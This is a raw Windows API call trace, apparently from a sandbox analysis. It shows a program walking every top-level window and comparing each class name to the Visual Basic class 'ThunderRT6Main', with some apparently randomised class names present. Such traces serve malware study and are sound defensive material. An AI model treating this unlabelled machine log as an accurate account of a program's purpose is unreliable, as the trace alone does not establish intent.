(lpString1="Consultants_Consistent_window", lpString2="ThunderRT6Main") returned -1 [0111.179] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2ec [0111.180] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017c [0111.180] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.180] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.180] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2ec [0111.180] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10176 [0111.180] GetClassNameA (in: hWnd=0x10176, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="renew_sonic_Sms_win") returned 19 [0111.180] lstrcmpA (lpString1="renew_sonic_Sms_win", lpString2="ThunderRT6Main") returned -1 [0111.180] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x278 [0111.180] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0111.180] GetClassNameA (in: hWnd=0x10178, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.180] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.180] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x278 [0111.180] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0111.180] GetClassNameA (in: hWnd=0x10172, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Regards_Neo_parade_app") returned 22 [0111.180] lstrcmpA (lpString1="Regards_Neo_parade_app", lpString2="ThunderRT6Main") returned -1 [0111.180] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x464 [0111.180] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0111.180] GetClassNameA (in: hWnd=0x10174, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.180] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.180] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x464 [0111.180] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0111.180] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="marsh_cls") returned 9 [0111.180] lstrcmpA (lpString1="marsh_cls", lpString2="ThunderRT6Main") returned -1 [0111.180] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0111.180] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0111.180] GetClassNameA (in: hWnd=0x10170, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.180] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.180] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0111.180] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0111.181] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="shotsWorsenh") returned 12 [0111.181] lstrcmpA (lpString1="shotsWorsenh", lpString2="ThunderRT6Main") returned -1 [0111.181] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0111.181] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0111.181] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.181] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.181] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0111.181] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10164 [0111.181] GetClassNameA (in: hWnd=0x10164, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="shine_class") returned 11 [0111.181] lstrcmpA (lpString1="shine_class", lpString2="ThunderRT6Main") returned -1 [0111.181] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x778 [0111.181] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0111.181] GetClassNameA (in: hWnd=0x10166, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.181] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.181] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x778 [0111.181] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0111.181] GetClassNameA (in: hWnd=0x10160, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="waxpreparationcardiaccls") returned 24 [0111.181] lstrcmpA (lpString1="waxpreparationcardiaccls", lpString2="ThunderRT6Main") returned 1 [0111.181] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x34c [0111.181] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0111.181] GetClassNameA (in: hWnd=0x10162, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.181] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.181] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x34c [0111.181] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x1015c [0111.181] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="teRaywindow") returned 11 [0111.181] lstrcmpA (lpString1="teRaywindow", lpString2="ThunderRT6Main") returned -1 [0111.181] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1e0 [0111.181] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x1015e [0111.182] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.182] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.182] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1e0 [0111.182] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0xa0154 [0111.182] GetClassNameA (in: hWnd=0xa0154, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Summer_movie_ourselves_app") returned 26 [0111.182] lstrcmpA (lpString1="Summer_movie_ourselves_app", lpString2="ThunderRT6Main") returned -1 [0111.182] GetWindowThreadProcessId (in: hWnd=0xa0154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5f0 [0111.182] GetWindow (hWnd=0xa0154, uCmd=0x2) returned 0x20158 [0111.182] GetClassNameA (in: hWnd=0x20158, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.182] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.182] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5f0 [0111.182] GetWindow (hWnd=0x20158, uCmd=0x2) returned 0x2010a [0111.182] GetClassNameA (in: hWnd=0x2010a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="VidsRatingclass") returned 15 [0111.182] lstrcmpA (lpString1="VidsRatingclass", lpString2="ThunderRT6Main") returned 1 [0111.182] GetWindowThreadProcessId (in: hWnd=0x2010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b0 [0111.182] GetWindow (hWnd=0x2010a, uCmd=0x2) returned 0x10156 [0111.182] GetClassNameA (in: hWnd=0x10156, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.182] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.182] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b0 [0111.182] GetWindow (hWnd=0x10156, uCmd=0x2) returned 0x20116 [0111.182] GetClassNameA (in: hWnd=0x20116, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0111.182] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0111.182] GetWindowThreadProcessId (in: hWnd=0x20116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0111.182] GetWindow (hWnd=0x20116, uCmd=0x2) returned 0x1014a [0111.182] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0111.182] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0111.182] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0111.182] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x10148 [0111.182] GetClassNameA (in: hWnd=0x10148, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0111.183] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0111.183] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0111.183] GetWindow (hWnd=0x10148, uCmd=0x2) returned 0x2013e [0111.183] GetClassNameA (in: hWnd=0x2013e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0111.183] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0111.183] GetWindowThreadProcessId (in: hWnd=0x2013e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0111.183] GetWindow (hWnd=0x2013e, uCmd=0x2) returned 0x10132 [0111.183] GetClassNameA (in: hWnd=0x10132, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0111.183] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0111.183] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0111.183] GetWindow (hWnd=0x10132, uCmd=0x2) returned 0x10134 [0111.183] GetClassNameA (in: hWnd=0x10134, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.183] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.183] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0111.183] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x1012a [0111.183] GetClassNameA (in: hWnd=0x1012a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="ATL:000007FEFC1141F0") returned 20 [0111.183] lstrcmpA (lpString1="ATL:000007FEFC1141F0", lpString2="ThunderRT6Main") returned -1 [0111.183] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0111.183] GetWindow (hWnd=0x1012a, uCmd=0x2) returned 0x1012c [0111.183] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.183] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.183] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0111.183] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x10120 [0111.183] GetClassNameA (in: hWnd=0x10120, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0111.183] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0111.183] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0111.183] GetWindow (hWnd=0x10120, uCmd=0x2) returned 0x10122 [0111.183] GetClassNameA (in: hWnd=0x10122, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.183] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.184] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0111.184] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011e [0111.184] GetClassNameA (in: hWnd=0x1011e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0111.184] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0111.184] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0111.184] GetWindow (hWnd=0x1011e, uCmd=0x2) returned 0x200c0 [0111.184] GetClassNameA (in: hWnd=0x200c0, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0111.184] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0111.184] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.184] GetWindow (hWnd=0x200c0, uCmd=0x2) returned 0x200ae [0111.184] GetClassNameA (in: hWnd=0x200ae, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0111.184] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0111.184] GetWindowThreadProcessId (in: hWnd=0x200ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.184] GetWindow (hWnd=0x200ae, uCmd=0x2) returned 0x200b0 [0111.184] GetClassNameA (in: hWnd=0x200b0, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0111.184] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0111.184] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.184] GetWindow (hWnd=0x200b0, uCmd=0x2) returned 0x200b4 [0111.184] GetClassNameA (in: hWnd=0x200b4, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0111.184] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0111.184] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.184] GetWindow (hWnd=0x200b4, uCmd=0x2) returned 0x200bc [0111.184] GetClassNameA (in: hWnd=0x200bc, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0111.184] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0111.184] GetWindowThreadProcessId (in: hWnd=0x200bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.184] GetWindow (hWnd=0x200bc, uCmd=0x2) returned 0x300ca [0111.184] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0111.184] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0111.185] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.185] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x800a0 [0111.185] GetClassNameA (in: hWnd=0x800a0, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0111.185] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0111.185] GetWindowThreadProcessId (in: hWnd=0x800a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.185] GetWindow (hWnd=0x800a0, uCmd=0x2) returned 0x20018 [0111.185] GetClassNameA (in: hWnd=0x20018, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0111.185] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0111.185] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0111.185] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0111.185] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.185] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.185] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0111.185] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0111.185] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0111.185] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0111.185] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0111.185] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0111.185] GetClassNameA (in: hWnd=0x20016, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.185] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.185] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0111.185] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0111.185] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0111.185] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0111.185] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0111.185] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x20108 [0111.185] GetClassNameA (in: hWnd=0x20108, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.185] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.185] GetWindowThreadProcessId (in: hWnd=0x20108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0111.185] GetWindow (hWnd=0x20108, uCmd=0x2) returned 0x10106 [0111.186] GetClassNameA (in: hWnd=0x10106, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0111.186] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0111.186] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x588 [0111.186] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10102 [0111.186] GetClassNameA (in: hWnd=0x10102, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0111.186] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0111.186] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0111.186] GetWindow (hWnd=0x10102, uCmd=0x2) returned 0x100fc [0111.186] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0111.186] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0111.186] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0111.186] GetWindow (hWnd=0x100fc, uCmd=0x2) returned 0x5008e [0111.186] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0111.186] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0111.186] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.186] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0111.186] GetClassNameA (in: hWnd=0x10084, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0111.186] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0111.186] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x518 [0111.186] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0111.186] GetClassNameA (in: hWnd=0x10082, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0111.186] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0111.186] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.186] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007e [0111.186] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0111.186] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0111.186] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0111.186] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10080 [0111.186] GetClassNameA (in: hWnd=0x10080, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.186] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.187] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0111.187] GetWindow (hWnd=0x10080, uCmd=0x2) returned 0x10076 [0111.187] GetClassNameA (in: hWnd=0x10076, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0111.187] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0111.187] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.187] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10064 [0111.187] GetClassNameA (in: hWnd=0x10064, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0111.187] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0111.187] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.187] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10110 [0111.187] GetClassNameA (in: hWnd=0x10110, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="#43") returned 3 [0111.187] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0111.187] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0111.187] GetWindow (hWnd=0x10110, uCmd=0x2) returned 0x10112 [0111.187] GetClassNameA (in: hWnd=0x10112, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.187] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.187] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0111.187] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10060 [0111.187] GetClassNameA (in: hWnd=0x10060, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0111.187] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0111.187] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.187] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1004c [0111.187] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0111.187] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0111.187] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.187] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10042 [0111.187] GetClassNameA (in: hWnd=0x10042, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0111.187] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0111.187] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0111.188] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0111.188] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0111.188] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0111.188] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0111.188] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x10048 [0111.188] GetClassNameA (in: hWnd=0x10048, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0111.188] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0111.188] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x124 [0111.188] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x10040 [0111.188] GetClassNameA (in: hWnd=0x10040, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.188] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.188] GetWindowThreadProcessId (in: hWnd=0x10040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0111.188] GetWindow (hWnd=0x10040, uCmd=0x2) returned 0x200fe [0111.188] GetClassNameA (in: hWnd=0x200fe, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0111.188] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0111.188] GetWindowThreadProcessId (in: hWnd=0x200fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0111.188] GetWindow (hWnd=0x200fe, uCmd=0x2) returned 0x1011c [0111.188] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.188] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.188] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0111.188] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x1011a [0111.188] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0111.188] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0111.188] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0111.188] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x100ec [0111.188] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0111.188] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0111.188] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0111.188] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0111.189] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbd20f00 [0111.189] IMalloc:Free (This=0x7feffc15380, pv=0xbd20f00) [0111.554] GetAsyncKeyState (vKey=27) returned 0 [0111.554] GetCurrentThreadId () returned 0x8fc [0111.554] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0111.554] GetDesktopWindow () returned 0x10010 [0111.554] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x10070 